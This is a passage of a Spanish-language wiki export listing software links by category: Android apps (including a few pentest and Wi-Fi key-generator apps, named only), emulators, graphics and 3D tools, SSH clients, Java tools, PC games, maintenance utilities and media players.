* Twicca: https://market.android.com/details?id=jp.r246.twicca

!!!! Clientes
* Android VNC Viewer: http://code.google.com/p/android-vnc-viewer/
* Connect Bot (ssh): http://code.google.com/p/connectbot/

!!!! Servidores
* SwiFTP: http://www.androidzoom.com/es/aplicaciones_android/herramientas/swiftp-ftp-server_tbo.html
* FTP Server: http://www.androidzoom.com/es/aplicaciones_android/herramientas/ftpserver_tju.html

!!!! Almacenamiento remoto y sincronización
* Android y SkyDrive: http://www.elandroidelibre.com/2011/02/%C2%BFalguno-de-vosotros-quiere-25gb-de-almacenamiento-gratis-con-tu-android-skydrive-sorami.html
* Dropbox: http://www.androidpolice.com/2010/10/14/new-dropbox-beta-v1-0-0-7-arrives-no-longer-constantly-runs-as-service-uploads-files-in-the-background-adds-apps2sd-fixes-bugs/
* 41 formas de sincronizar con outlook: http://www.elandroidelibre.com/2011/04/41-soluciones-para-sincronizar-outlook-y-exchange-con-android.html

!!!! Proxy
* GAE Proxy: http://es.appbrain.com/app/gae-proxy/org.gaeproxy
* SSH Proxy: https://market.android.com/details?id=org.sshtunnel
* Auto Proxy: https://market.android.com/details?id=com.mgranja.autoproxy_lite

!!! Multimedia
* Rock Player Lite: https://market.android.com/details?id=com.redirectin.rockplayer.android.unified.lite

!!!! Gráficos y fotos
* Lectores de códigos de barras: https://market.android.com/details?id=vStudio.Android.Camera360
* Camera 360: http://bubiloop.com/android-multimedia-camera-360
* Photo Enhance Pro: http://www.androidzoom.com/android_applications/photography/photo-enhance-pro-hires_gtrg.html
* Camera ZOOM FX: https://market.android.com/details?id=slide.cameraZoom
* Quick Pic: https://market.android.com/details?id=com.alensw.PicFolder
* Fish Bowl: https://market.android.com/details?id=com.littlefatfish.photo
* Pro HDR Camera: https://market.android.com/details?id=com.eyeappsllc.prohdr
* Camera Advance Lite: https://market.android.com/details?id=com.mnapps.cameraadvancelite

!!!! Música
* Winamp: http://www.winamp.com/android
* Mix Zing: http://www.mixzing.com/
* Mort Player: http://www.androidzoom.com/es/temas_android/fondos_pantalla/mortplayer-music-beta_crig.html
* Zimly: http://www.androidzoom.com/android_applications/media_and_video/zimly-the-coolest-media-player_pjna.html
* Music Player Pro: http://www.androidzoom.com/es/aplicaciones_android/musica_y_audio/music-playerpro_jkyc.html
* Studio Kuma .nomedia: https://market.android.com/details?id=com.studiokuma.nomedia
* Jukefox: https://market.android.com/details?id=ch.ethz.dcg.pancho2
* Spirit FM Radio: https://market.android.com/details?id=com.mikersmicros.fm

!!!! Sonido
* Frequency Generator: http://www.androidzoom.com/android_applications/tools/frequency-generator_ukr_comments.html
* Sound Meter: https://market.android.com/details?id=kr.sira.sound&feature=search_result
* Audializer: https://market.android.com/details?id=org.hermit.audalyzer

!!!! Video
* Mobo Player: https://market.android.com/details?id=com.clov4r.android.nil

!!!! Streaming
* TV en streaming: http://and.roid.es/thechanner-bienvenido-a-la-television-social.html
* Megavideo: http://and.roid.es/megavideo-para-android.html
* Android y DLNA: http://www.elandroidelibre.com/2011/03/convierte-tu-android-en-un-dispositivo-dlna-de-forma-sencilla-y-gratuita.html

!!! Utilidades
!!!! Teclados
* Swype: http://beta.swype.com/
* Slide IT: http://www.elandroidelibre.com/2010/05/swype-para-todos.html
* Swift Key: http://www.elandroidelibre.com/2010/07/swiftkey-beta-un-nuevo-teclado-para-nuestros-androides.html
* Thick Button: http://www.elandroidelibre.com/2010/03/thickbuttons-el-teclado-inteligente.html
* Message Ease: https://market.android.com/details?id=com.exideas.mekb
* Thumb Keyboard: http://thumb4beta.blogspot.com/
* Touch Pal: https://market.android.com/details?id=com.cootek.smartinput&feature=search_result

!!!! Widgets
* Android Power Widget: http://blogs.computerworld.com/16968/android_power_widget
* Widgets para mostrar más iconos: http://www.elandroidelibre.com/2011/02/expande-tu-escritorio-todas-las-aplicaciones-que-necesites-en-una-unica-pantalla.html
* Make Your Clock: http://www.androidzoom.com/android_themes/themes/make-your-clock-widget-beta_swqk.html
* Relojes personalizados: http://www.elandroidelibre.com/2011/02/crea-tu-propio-reloj-para-android-el-summum-de-la-personalizacion.html
* Widgets meteorológicos: http://www.elandroidelibre.com/2011/02/los-mejores-live-wallpapers-y-widgets-del-tiempo-para-tu-android.html
* Pixel Art Clock: http://and.roid.es/pixel-art-clock-tu-reloj-pixel-en-tu-escritorio.html
* SiMi Clock: https://market.android.com/details?id=com.th.android.widget.gTabsimiClock
* SiMi Folder Widget: https://market.android.com/details?id=com.th.android.widget.SiMiFolder
* Google Buzz Widget: https://market.android.com/details?id=com.google.android.apps.updates.widget&feature=search_result
* Charly Sheen Widget: http://www.androidpolice.com/2011/03/08/40-best-and-1-wtf-new-android-apps-games-and-live-wallpapers-from-last-week-3211-3811/
* Widgets minimalistas: http://www.elandroidelibre.com/2011/03/widgets-minimalistas-para-android-una-cuestion-de-estilo.html
* BITS (crea tu propio widget): https://www.bitswidget.com/blog/downloads

!!!! Fondos
* Fondos de pantalla animados: http://www.elandroidelibre.com/2011/02/4-live-wallpapers-para-android-super-mario-reloj-web-y-video.html
* Photile Live Wallpaper: https://market.android.com/details?id=com.joko.photile

!!!! Temas
* Temas para CM7: http://forum.xda-developers.com/showthread.php?t=958497

!!!! Launchers
* Slide Screen: http://www.xatakandroid.com/aplicaciones-android/slide-screen-el-launcher-para-los-que-buscan-la-maxima-productividad-en-android
* Comparativa de launchers: http://www.elandroidelibre.com/2011/02/comparativa-de-launchers-novedades-de-2011.html
* Wave Launcher: https://market.android.com/details?id=com.mobilemerit.wavelauncher
* Google Car Home: https://market.android.com/details?id=com.google.android.carhome&feature=search_result
* Car Dashboard: https://market.android.com/details?id=net.mandaria.cardashboardfree
* Ks Launcher: https://market.android.com/details?id=com.kugoweb.launcher.froyo
* He Lancher: https://market.android.com/details?id=com.handlerexploit.launcher_reloaded

!!!! Acciones automatizadas
* Plugin Launcher: https://market.android.com/details?id=com.launcher.plugin
* Tasker: https://market.android.com/details?id=net.dinglisch.android.taskerm
* Locale: https://market.android.com/details?id=com.twofortyfouram.locale
* Automate It: https://market.android.com/details?id=AutomateIt.mainPackage

!!!! Ficheros
* File Magic: http://filemagic.dinglisch.net/
* Ghost Commander: https://market.android.com/details?id=com.ghostsq.commander
* File Exert: https://market.android.com/details?id=xcxin.filexpert
* CRKO Commander: https://market.android.com/details?id=cc.com&feature
* Dual Filemanager: https://market.android.com/details?id=it.medieval.dualfm
* Storage Analyser: https://market.android.com/details?id=com.levelokment.storageanalyser

!!!! Configuración sistema
* Busybox: http://www.androidzoom.com/android_applications/tools/busybox_hwbd.html
* LocationBot: http://zurloid.comuf.com/locationbot-spanish.html
* Root temporal: http://www.elandroidelibre.com/2010/10/universal-androot-root-en-1-click-para-la-mayora-de-los-telfonos.html

!!!! Información y control
* 3G Watchdog: http://www.xatakandroid.com/productividad-herramientas/3g-watchdog-un-can-para-controlar-tu-tarifa-de-datos
* Process Monitor: http://www.xatakandroid.com/productividad-herramientas/controla-lo-que-sucede-en-tu-android-con-process-monitor
* Barrety Snap: http://www.androidzoom.com/es/aplicaciones_android/herramientas/battery-snap_cfq.html
* myPlan: https://market.android.com/details?id=com.conzebit.myplan&feature=search_result
* Gastos Móvil: https://market.android.com/details?id=deeloco.android.gastos.Movil&feature=search_result
* Droid Stats: https://market.android.com/details?id=nitro.phonestats&feature=search_result
* Friday: https://market.android.com/details?id=com.dex.friday
* Battery Bar https://market.android.com/details?id=com.pvy.batterybar

!!!! Controlar Android
* Lazy Droid Server: https://market.android.com/details?id=com.MarcelloAlbano.LazyDroidServer
* Remote Web Desktop: https://market.android.com/details?id=net.xdevelop.rm
* Webkey: https://market.android.com/details?id=com.webkey

!!!! Herramientas multiusos
* SuperBox: http://www.elandroidelibre.com/2011/02/superbox-controla-todo-tu-android-sin-cambiar-de-aplicacion.html
* ZDBox: http://and.roid.es/aplicacion-zdbox-un-todo-en-uno.html

!!!! Reglas y mediciones
* Smart Ruler:  https://market.android.com/details?id=kr.sira.ruler
* Smart Measure: https://market.android.com/details?id=kr.sira.measure
* Smart Distance: https://market.android.com/details?id=kr.sira.distance

!!!! Relojes y alarmas
* Wakeup or die: https://market.android.com/details?id=com.sekongur.wakeupordie

!!!! Programación y scripts
* TextWarrior (editor de texto): https://market.android.com/details?id=com.myopicmobile.textwarrior.android
* Devcheats: https://market.android.com/details?id=miquelco.devcheats

!!!! Misc
* iDisplay for Android: http://www.shapeservices.com/en/products/details.php?product=idisplay&platform=android
* App Runner (J2ME para android): http://www.netmite.com/android/
* Lanzar J2ME en Android: http://www.umnet.com/mobile-blogs/318-Run_Java_J2ME_games_or_applications_on_Android_Phones__JBed_and_Android_J2ME_MIDP_Runner
* Fecha de matriculación: http://and.roid.es/aplicacion-matriculas-agusaroe.html

!!! Utilidades para usuarios root
!!!! Administración de ROMs
* ROM Manager: https://market.android.com/details?id=com.koushikdutta.rommanager

!!!! Backups
* Titanium Backup: https://market.android.com/details?id=com.keramidas.TitaniumBackup

!!!! Multiherramientas
* Absolute System Root Tools: https://market.android.com/details?id=com.canvs2321.absolute.system
* Root Tools: https://market.android.com/details?id=com.jrummy.roottools
* Root Manager: https://market.android.com/details?id=com.bg.rootmgrp

!!!! Ficheros
* Root Explorer: https://market.android.com/details?id=com.speedsoftware.rootexplorer
* Root Uninstaller: https://market.android.com/details?id=org.baole.rootuninstall

!!!! Redes
* Ad Free: https://market.android.com/details?id=com.bigtincan.android.adfree
* DroidWall: https://market.android.com/details?id=com.googlecode.droidwall.free
* Reverse Teethering: http://forum.xda-developers.com/showthread.php?t=1371345

!!!! Control remoto del terminal
* Webkey: http://androidwebkey.com/
* Remote Web Desktop: https://market.android.com/details?id=net.xdevelop.rm
* Lazy Droid: https://market.android.com/details?id=com.MarcelloAlbano.LazyDroidServer

!!!! Ajuste de frecuencia de CPU
* set CPU: https://market.android.com/details?id=com.mhuang.overclocking
* CPU tuner: https://market.android.com/details?id=ch.amana.android.cputuner

!!! Oficina
!!!! Visores de documentos
* Visores de PDFs y documentos: http://www.elandroidelibre.com/2011/02/abre-y-gestiona-pdfs-y-documentos-con-las-mejores-aplicaciones-para-android.html
* Aldiko Book Reader: http://www.appbrain.com/app/aldiko-book-reader/com.aldiko.android

!!!! Notas
* netMemo Voice Note Recorder: http://www.androidzoom.com/android_applications/productivity/netmemo-voice-note-recorder_kusm.html
* Springpad: http://es.androlib.com/android.application.com-springpad-EnFA.aspx

!!! Referencia
!!!! Obras de consulta
* Enciclopedia del metal: http://www.androidzoom.com/android_applications/music_and_audio/heavy-metal-encyclopedia_rmly.html
* Prospectos: https://market.android.com/details?id=com.lomocorp.prospectos
* imdb: https://market.android.com/details?id=com.imdb.mobile

!!!! Mapas y navegadores
* Google Sky Map: http://www.google.com/mobile/skymap/
* Mapa Estelar: https://market.android.com/details?id=com.escapistgames.starchart
* Realidad aumentada: http://www.android-spa.com/mostrarNoticia.php?id=759
* Map Quest: http://www.androidzoom.com/android_applications/travel_and_local/mapquest_szbp.html
* Mapas offline: http://www.elandroidelibre.com/2010/08/especial-mapas-off-line-para-android.html
* Locus maps: http://www.androidzoom.com/android_applications/travel_and_local/locus_hglj.html
* osmand: http://code.google.com/p/osmand/
* Google Earth: https://market.android.com/details?id=com.google.earth&feature=search_result
* GeOrg: http://android.ranitos.de/about/
* c:geo: https://market.android.com/details?id=carnero.cgeo&feature=search_result
* Zaragoza Tráfico: https://market.android.com/details?id=es.agoranetworks.zaragozatrafico
* Vive Zaragoza: https://market.android.com/details?id=es.warp.vivezgz
* AndRoad:
** https://github.com/gkfabs/AndRoad/
** http://groups.google.com/group/androad?pli=1
* Androzic: http://code.google.com/p/androzic/
* Skobbler: http://www.skobbler.es/android
* gvSIG: https://confluence.prodevelop.es/display/GVMN/Download
* NavDroyd: http://www.navdroyd.com/onboard-turn-by-turn-navigation-software-2

!!!! Idiomas
* Tap Translate: http://and.roid.es/traduce-textos-con-un-toque-con-tap-translate.html
* Tourist language: http://www.androidzoom.com/android_applications/travel_and_local/tourist-language-learn-speak_rucb.html
* Cam Translator: https://market.android.com/details?id=com.intsig.camdict

!!! Seguridad
!!!! Pentest
* Listado de """SdB""" (parte 1): http://www.securitybydefault.com/2010/05/aplicaciones-de-seguridad-desde-android.html
* Listado de """SdB""" (parte 2): http://www.securitybydefault.com/2010/05/aplicaciones-de-seguridad-para-android.html
* Distribución Linux de seguridad: http://www.ribadeohacklab.com.ar/drupal/news/running-full-pentesting-environment-your-android-phone
** Convierte tu Android en una plataforma de pentesting: http://www.cyberhades.com/2010/09/12/convierte-tu-telefono-android-en-una-plataforma-de-pentesting/
* nmap: http://seclists.org/nmap-dev/2011/q1/440
** Artículo sobre nmap en Android: http://www.cyberhades.com/2011/02/06/nmap-5-50-para-android

!!!! Wireless
* ONO4XX: http://www.androidzoom.com/android_applications/tools/ono4xx-free-wep-wpa-keygen_pbcg.html
* WLAN4XX: http://www.androidzoom.com/android_applications/tools/wlan4xx-free-wep-wpa2-keygen_smav.html
* Penetrate: http://underdev.org/penetrate/

!!!! Protección
* Guardian Project: https://guardianproject.info/apps/
* Loookout: https://www.mylookout.com/premium

!! Juegos por tipo
!!! Misc
* Juegos de zombies: http://www.elandroidelibre.com/2011/02/especial-zombies-en-android-una-tendencia-muy-viva.html
* Pinball Deluxe: http://www.androidzoom.com/android_games/arcade_and_action/pinball-deluxe_thyv.html
* Abduction: https://market.android.com/details?id=au.com.phil
* Kongregate, juegos flash: https://market.android.com/details?id=com.kongregate.android.kongarcade

!!! Arkanoid y similares
* Chalk Ball Lite: https://market.android.com/details?id=com.thepilltree.drawpong

!!! Acción y plataformas
* Cordy: https://market.android.com/details?id=com.silvertree.cordy
* Meganoid: http://www.appbrain.com/app/meganoid/com.meganoid.engine
* Abyss Attack (tipo 1942): https://market.android.com/details?id=game.shooter.abyss_attack_free

!!! Estrategia
* Xenowar (tipo UFO): http://www.xenowar.net/
* Townsmen 6: http://www.androidzoom.com/android_applications/townsmen+6
* Galcon: http://www.androidzoom.com/android_games/arcade_and_action/galcon_jtlv.html
* Free Civ: http://hackcasual.net/?p=34

!!! Tower defense
* Dragon Hunter: https://market.android.com/details?id=com.feelingtouch.dragon

!!! Puzles y juegos de pensar
* Aporkalypse: http://www.androidzoom.com/android_games/brain_puzzle/aporkalypse-free_tlwm.html
* Hextacy: https://market.android.com/details?id=com.lorentzon.hextacy.lite
* Memory Trainer: https://market.android.com/details?id=org.urbian.android.games.memorytrainer&feature=search_result
* Pyxidis: https://market.android.com/details?id=com.gylgames.pyxidis

!!! Carreras
* SpeedX: https://market.android.com/details?id=com.beepstreet.speedxads

!!! Simulación y gestión
* Radio Tycoon https://market.android.com/details?id=eu.inmite.prj.lag.radiotyc.android

!!! Chorradicas
* Androify: http://www.xatakandroid.com/personalizacion/androidify-dale-un-toque-personal-a-tu-androide-favorito
* Fat Booth: https://market.android.com/details?id=com.piviandco.fatbooth

!!! Emuladores
!!!! MS-DOS y juegos de PC
* Android Dosbox: http://androiddosbox.appspot.com/
* Droid DOS (teclado virtual): http://droiddos.blogspot.com/
* dosbox: http://anddev.at.ua/load/emulators/dosbox_0_74/2-1-0-12
* Recopilatorio de gestion de ROMs y emuladores: http://www.elandroidelibre.com/2011/03/especial-roms-y-emuladores-para-android.html
* Listado de emuladores y ROMs: http://forum.xda-developers.com/showthread.php?t=1787132&highlight=emulators

!!!! SCUMM VM
* Tutorial: http://www.htcmania.com/showthread.php?t=88098
* Descarga el binario: http://www.scummvm.org/downloads/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Software científico y/o técnico
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Software no oficial para consolas de videojuegos. Suelen llamarse también "aplicaciones homebrew".
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Homebrew
** Blog: http://www.homebrewconsolas.blogspot.com/
** Homebrew Computer Club: http://es.wikipedia.org/wiki/Homebrew_Computer_Club
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Software relativo a la electrónica digital y analógica
</part>
! Enlaces
<part enlaces>
!! Simuladores de circuitos
* Smart Sim: http://smartsim.org.uk/index.php?page=features
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
* ''Repositorios:''
** Aplicaciones Open Source para PYMEs: http://openpyme.osl.ull.es/

* ''Aplicaciones gratuitas:''
** ~EuroGes: http://www.gtsiberica.com/euroges/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Emuladores de múltiples arquitecturas y dispositivos, y máquinas virtuales.
</part>
!Enlaces
<part enlaces>
!! Emuladores de computadoras
* Java PC Emulator: http://javapc.sourceforge.net/home_home.html
* Virtual Box: http://www.virtualbox.org
* VM Ware: http://www.vmware.com/es/
* Virtual PC (sólo para [[Windows]]): http://www.microsoft.com/downloads/details.aspx?FamilyID=04d26402-3199-48a3-afa2-2dc0b40a73b6&displayLang=es
* Parallels: http://www.parallels.com/
* QEMU: http://wiki.qemu.org
* Xen (sólo para [[Linux]]): http://www.xen.org/
* Emulador en javascript: http://stud.hro.nl/0814604/jslinuxdemo/emulator.html

!! Emuladores de videoconsolas
* ''NEO GEO:''
** kawaks: http://cps2shock.retrogames.com/download.html
** kaillera server: http://www.kaillera.com/
** NeoDS: http://groups.google.com/group/neods
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Software relacionado con la edición y/o generación de gráficos.
</part>
! Enlaces
<part enlaces>
!! Retoque fotográfico
* Paint.Net ([[.Net]]): http://www.getpaint.net/
* The Gimp, página oficial: http://www.gimp.org/
* The Gimp, comunidad en español: http://www.gimp.org.es/
* Como usar resynthesizer en [[Gimp]]: http://newslily.com/blogs/96

!! Editores 3D
!!! Gratuitos
* Blender: http://www.blender.org/
* Wings 3D: http://www.wings3d.com/
* True Space: http://www.caligari.com/downloads.html
* Sculptris: http://www.sculptris.com/gallery.html
* MESH lab: http://meshlab.sourceforge.net/
* K-3D: http://www.k-3d.org/
* Art of Illusion: http://www.artofillusion.org/
* Now 3D ([[Windows]]): http://www.now3d.it/Eng/
* Make Human (modelos 3D): http://makehuman.blogspot.com/
* DAZ Studio: http://www.daz3d.com/
* Deled CE: http://www.delgine.com/index.php?filename=product_deled
* DX Studio: http://www.dxstudio.com/
* Google ~SketchUp: http://sketchup.google.com/intl/es/

!!! De pago
* Rhino 3D: http://www.es.rhino3d.com/
* 3D Studio MAX: http://usa.autodesk.com/adsk/servlet/pc/index?id=13567410&siteID=123112
* Maya: http://usa.autodesk.com/adsk/servlet/item?siteID=123112&id=10231754
* Cinema 4D: http://www.maxon.net/es/products/cinema-4d-prime/who-should-use-it.html
* Houdini: http://www.sidefx.com/index.php
* Silo: http://www.nevercenter.com/silo/download/
* Modo: http://www.luxology.com/modo/
* Z-Brush: http://www.pixologic.com/home.php

!! Motores de renderizado
* POV Ray: http://www.povray.org/
* Kerkythea: http://www.kerkythea.net/joomla/index.php
* Lux Render: http://www.luxrender.net/
* Indigo Render: http://www.indigorenderer.com/
* Yafa RAY: http://www.yafaray.org/


!! Generadores de terrenos
* VUE 9 Pioneer: http://www.e-onsoftware.com/products/vue/vue_9_pioneer/
* Litosphere: http://lithosphere.codeflow.org/
* Terragen: http://www.planetside.co.uk/

!! Visualización de datos
* Gephi ([[Java]]): http://gephi.org/
* Sociograph: http://codeflow.org/entries/2009/jul/31/sociograph/
* Kartograph: http://kartograph.org/
* Wax (mapas): http://mapbox.com/wax/
* Herramientas varias para mostrar mapas: http://www.javaworld.com/javaworld/jw-07-2012/120718-open-source-map-tools.html

!! Visualización y edición de metadatos
* Geotag ([[Java]]): http://geotag.sourceforge.net/

!! Mapas para videojuegos
* Tiled Map Editor: http://www.mapeditor.org/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Clientes de todo tipo de protocolos para la capa de aplicación.
</part>
!Enlaces
<part enlaces>
!! HTTP
* //Véase NavegadoresInternet //

!! SSH
!!! Programas clientes
* PuTTY ([[windows]]): http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
* KiTTY, fork de putty ([[windows]]): http://www.9bis.net/kitty/
* PuTTY Tray, fork de PuTTY ([[windows]]): http://haanstra.eu/putty/
* Open SSH ([[*NIX]]): http://www.openssh.com/
* Moba Xterm ([[windows]]): http://mobaxterm.mobatek.net/en/

!!! Información y tutoriales
* Los 25 mejores comandos/trucos: http://blog.urfix.com/25-ssh-commands-tricks/

</part>
/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Información sobre herramientas adicionales para java como la herramienta de construcción Ant.
</part>
!Enlaces
<part enlaces>
!! [[IDE]]s y herramientas de edición
* [[Eclipse]]: http://eclipse.org
* NetBeans: http://netbeans.org/
* JDeveloper: http://www.oracle.com/technology/products/jdev/index.html
* JEdit: http://www.jedit.org/

!! Herramientas de construcción
* Apache  [[Ant]]: http://ant.apache.org/
* Manual de [[Ant]]: http://ant.apache.org/manual/index.html
* Apache [[Maven]]: http://maven.apache.org/
* Manual de [[Maven]]: http://maven.apache.org/users/index.html

!! Otras herramientas
* Libro de Hudson: http://www.eclipse.org/hudson/hudsonbook/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Juegos para ordenador. Los emuladores de videoconsola no se recogen aquí, tienen su propia página: SoftwareEmuladores.
</part>
! Enlaces
<part enlaces>
!! Páginas sobre juegos
!!! Revistas online
* On Games: http://www.ongames.com/
* Meristation: http://www.meristation.com
* Meta Critic: http://www.metacritic.com/games/pc

!!! Reseñas de juegos gratuitos
* http://freegamer.blogspot.com
* Los mejores juegos gratuitos para PC: http://kotaku.com/5687049/the-pcs-best-free-games-right-now

!!! Artículos sobre aventuras gráficas
* 10 aventuras gráficas en emezeta: http://www.emezeta.com/articulos/10-aventuras-graficas-clasicas
* Juegoviejo, recopilación de abandone: http://www.juegoviejo.com

!!! Artículos sobre juegos de acción y/o plataformas
* Juegos tipo Worms: http://freegamer.blogspot.com/2009/03/open-source-artillery-worms-clones.html

!!! Artículos sobre simuladores de gestión:
* Juegos de construcción de ciudades: http://freegamer.blogspot.com/2009/02/simulate-this-city-building-tycoon-game.html

!! Repositorios
!!! Windows
* Softonic: http://www.softonic.com/windows/juegos

!!! Linux
* Softonic: http://www.softonic.com/linux/juegos
* Linux Games: http://www.linuxgames.com
* Gaming On Linux: http://www.gamingonlinux.info
* Penguspy: http://www.penguspy.com
* The Linux Gaming Tome: http://www.happypenguin.org/
* Best Free Linux Games Ever: http://best.freelinuxgames.ever.com/
* Ubuntu Gamer: http://www.ubuntugamer.com

!!! Varios
* indiedb: http://www.indiedb.com/
* Game Boom: http://gameboom.net/
* Indie Game Magazine: http://www.indiegamemag.com/
* The Indie Game Database: http://db.tigsource.com/
* Game Jolt: http://gamejolt.com/

!! Herramientas para juegos
!!! Comunicaciones
* 

!!! Control
* Usa tu webcam de joystick: http://facetracknoir.sourceforge.net/home/default.htm

!! Online y en el navegador
!!! Varios
* Listado de juegos basados en navegador: http://en.wikipedia.org/wiki/List_of_browser_games
* Listado de juegos multijugador basados en navegador: http://en.wikipedia.org/wiki/List_of_multiplayer_browser_games
* Juegos persistentes basados en navegador: http://www.pbbg.org/links.asp

!!! Aventuras gráficas
* Aventuras gráficas clásicas online: http://sarien.net/

!!! Estrategia
* Free Civ online: http://www.freeciv.net/

!!! [[FPS]]
* Minecraft: http://www.minecraft.net
* Quake Live: www.quakelive.com


!! Juegos por categorías
!!! Acción y plataformas
!!!! Shooter 2D
* Tee Worlds: http://www.teeworlds.com/
* Gusanos: http://gusanos.sourceforge.net/
* Open Liero X: http://www.openlierox.net/

!!!! Juegos de naves
* M.A.R.S.: http://mars-game.sourceforge.net/?page_id=10
* Bitfighter: http://bitfighter.org/

!!! Balístico / Clon de worms
* Atomic tanks: http://atanks.sourceforge.net/
* Scorched 3D: http://www.scorched3d.co.uk/
* Hedge Wars (clon de worms): http://hedgewars.org/
* Wormux: http://wormux.org/

!!! Estrategia
!!!! Estrategia por turnos
* UFO AI: http://ufoai.ninex.info/wiki/index.php/News
* UFO 2000: http://ufo2000.sourceforge.net/
* Free Civ: http://freeciv.wikia.com/wiki/Main_Page
* Unknown Horizons: http://www.unknown-horizons.org/

!!!! Estrategia en tiempo real
* Warzone 2100: http://wz2100.net/
* Spring RTS (motor de juegos): http://springrts.com/wiki/Games
* Kernel Panic: http://springrts.com/wiki/Kernel_Panic
* Zero-K: http://zero-k.info/index.php
* Evolution RTS: http://www.evolutionrts.info/
* Spring 1944: http://www.spring1944.org/
* Conflict Terra: http://www.moddb.com/games/conflict-terra
* Gundam RTS: http://www.moddb.com/games/gundam-rts/news
* The Cursed: http://azaremoth.supremedesign.org/index.php
* Balanced Anhilation: http://springrts.com/wiki/Balanced_Annihilation
* Tech Annihilation: http://springrts.com/phpbb/viewtopic.php?f=44&t=24057&sid=ca7fb14a51f7ce8bdd0eba244f0396e8
* Not Original Total Annihilation: http://springrts.com/wiki/NOTA
* XTA: http://springrts.com/wiki/XTA
* Open RA: http://openra.res0l.net/
* Political Space Warfare: http://psw.schorote.net/

!!!! Otros
* Open Imperium Galactica: https://code.google.com/p/open-ig/

!!! FPS / Shooter
* Warsow: http://www.warsow.net
* Alien Arena: http://icculus.org/alienarena/rpa/
* Simulador de artillero de un AC-130: http://www.gamingonlinux.info/item98_AC-130.html

!!! RPG
!!!! RPG por turnos
* FIFE (motor similar al de Fall Out): http://www.fifengine.de/
* Post Apocaliptycal RPG: http://blog.parpg.net/
* Zero Projekt: http://www.zero-projekt.net

!!!! MMORPG
* Dofus: http://www.dofus.com/es

!!! Simuladores de pilotaje
!!!! Simuladores de vehículos terrestres
* Zero Ballistics: http://www.zeroballistics.com

!!!! Carreras
* Mania drive: http://maniadrive.raydium.org/
* Super Tux Kart (STK): http://supertuxkart.sourceforge.net/Discover

!!! Simuladores de gestión
!!!! Gestión de ciudades
* Open City: http://www.opencity.info/
* Lincity: http://lincity.sourceforge.net/
* Lincity NG: http://lincity-ng.berlios.de/
* Micropolis: http://wiki.laptop.org/go/Micropolis

!!!! Gestión de transportes
* Free Train: http://freetrain.sourceforge.net/
* Free Rails2: http://freerails2.sourceforge.net/
* Simutrans: http://wiki.simutrans.com/
* Open TTD: http://www.openttd.org/en/

!!!! Gestión diversa
* Corsix TH (Theme Hospital) http://code.google.com/p/corsix-th/

!!! Juegos de programación
* Wiki recopilatorio de varios juegos: http://programminggames.org

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Software de mantenimiento de sistemas informáticos
</part>
! Enlaces
<part enlaces>
!! Live CDs
* Ultimate Boot CD: http://www.ultimatebootcd.com/
* UBCD for windows: http://www.ubcd4win.com/howto.htm
* Clonezilla: http://clonezilla.org/
* Trinity Rescue Kit: http://trinityhome.org/Home/index.php?wpid=1&front_id=12

!! Gestores de arranque
* Plop Bootmanager: http://www.plop.at/en/bootmanager.html

!! Gestión de particiones de discos
* Partition Wizard: http://www.partitionwizard.com/free-partition-manager.html

!! Herramientas de recuperación
* DaRT: http://www.cyberhades.com/2011/04/16/tutorial-para-diagnostic-and-recovery-toolset-dart
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Software relacionado con la reproducción de música y/o vídeo
</part>
!Enlaces
<part enlaces>
!! Reproductores música
!!! Multiplataforma
* """aTunes""" ([[Java]]): http://www.atunes.org/
* Clementine: http://code.google.com/p/clementine-player/
* Quod Libet: http://code.google.com/p/quodlibet/

!!! [[Windows]]
* """XMPlay""": http://support.xmplay.com/
* Winamp: http://www.winamp.com/
* Quintessential: http://www.quinnware.com/
* Media Monkey: http://www.mediamonkey.com/
* Musik Cube: http://www.musikcube.com/page/main
* Billy: http://www.sheepfriends.com/?page=billy
* Coolplayer: http://coolplayer.sourceforge.net/
* Foobar 2000: http://www.foobar2000.org/
* Songbird: http://getsongbird.com/
* """AIMP2""": http://aimp.ru/index.php?do=download
* Music Bee: http://www.getmusicbee.com/
* AL Song: http://www.altools.com/ALTools/ALSong.aspx
* VU Player: http://www.vuplayer.com/vuplayer.php

!!! [[*NIX]]
